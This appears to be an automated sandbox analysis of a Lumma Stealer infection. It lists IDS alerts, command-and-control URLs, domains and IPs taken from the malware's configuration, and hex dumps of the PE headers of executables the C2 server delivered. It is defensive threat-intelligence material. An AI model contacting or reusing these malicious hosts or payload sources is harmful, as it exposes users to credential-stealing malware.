Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:50078 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:50014 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.6:50091 -> 104.21.53.8:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: bathdoomgaz.store
Source: Malware configuration extractor	URLs: clearancek.site
Source: Malware configuration extractor	URLs: eaglepawnoy.store
Source: Malware configuration extractor	URLs: mobbipenju.store
Source: Malware configuration extractor	URLs: spirittunek.store
Source: Malware configuration extractor	URLs: licendfilteo.site
Source: Malware configuration extractor	URLs: studennotediw.store
Source: Malware configuration extractor	URLs: dissapoiznw.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 07:07:24 GMTContent-Type: application/octet-streamContent-Length: 1911296Last-Modified: Thu, 24 Oct 2024 06:55:23 GMTConnection: keep-aliveETag: "6719ef5b-1d2a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 c0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 4b 00 00 04 00 00 a9 00 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec ae 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c ae 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 79 67 63 69 63 73 6d 00 10 1a 00 00 a0 31 00 00 10 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 79 78 6c 71 73 66 6d 00 10 00 00 00 b0 4b 00 00 04 00 00 00 04 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 4b 00 00 22 00 00 00 08 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 07:07:28 GMTContent-Type: application/octet-streamContent-Length: 1854464Last-Modified: Thu, 24 Oct 2024 06:55:17 GMTConnection: keep-aliveETag: "6719ef55-1c4c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6a 00 00 04 00 00 e7 22 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 79 76 71 7a 6b 75 6b 00 f0 19 00 00 30 50 00 00 ea 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 65 6a 72 67 6c 77 77 00 10 00 00 00 20 6a 00 00 04 00 00 00 26 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 6a 00 00 22 00 00 00 2a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 07:07:31 GMTContent-Type: application/octet-streamContent-Length: 2822656Last-Modified: Thu, 24 Oct 2024 06:45:04 GMTConnection: keep-aliveETag: "6719ecf0-2b1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 05 dd 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6d 6a 6a 75 79 77 7a 71 00 c0 2a 00 00 a0 00 00 00 b2 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 75 63 63 61 70 6a 63 00 20 00 00 00 60 2b 00 00 04 00 00 00 ec 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 f0 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 07:08:10 GMTContent-Type: application/octet-streamContent-Length: 2958848Last-Modified: Thu, 24 Oct 2024 06:55:10 GMTConnection: keep-aliveETag: "6719ef4e-2d2600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 a0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 30 00 00 04 00 00 94 44 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 d0 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 e0 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 f0 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 77 6b 73 6c 66 70 6e 78 00 90 2a 00 00 00 06 00 00 8e 2a 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 66 69 6f 72 6a 61 74 00 10 00 00 00 90 30 00 00 06 00 00 00 fe 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 30 00 00 22 00 00 00 04 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 07:08:20 GMTContent-Type: application/octet-streamContent-Length: 1854464Last-Modified: Thu, 24 Oct 2024 06:55:17 GMTConnection: keep-aliveETag: "6719ef55-1c4c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6a 00 00 04 00 00 e7 22 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2a 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 79 76 71 7a 6b 75 6b 00 f0 19 00 00 30 50 00 00 ea 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 65 6a 72 67 6c 77 77 00 10 00 00 00 20 6a 00 00 04 00 00 00 26 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 6a 00 00 22 00 00 00 2a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 07:08:30 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Thu, 24 Oct 2024 06:44:38 GMTConnection: keep-aliveETag: "6719ecd6-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ce ec 19 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 a3 7e 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 24 Oct 2024 07:08:33 GMTContent-Type: application/octet-streamContent-Length: 1911296Last-Modified: Thu, 24 Oct 2024 06:55:23 GMTConnection: keep-aliveETag: "6719ef5b-1d2a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 c0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 4b 00 00 04 00 00 a9 00 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec ae 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9c ae 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2a 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 79 67 63 69 63 73 6d 00 10 1a 00 00 a0 31 00 00 10 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 79 78 6c 71 73 66 6d 00 10 00 00 00 b0 4b 00 00 04 00 00 00 04 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 4b 00 00 22 00 00 00 08 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 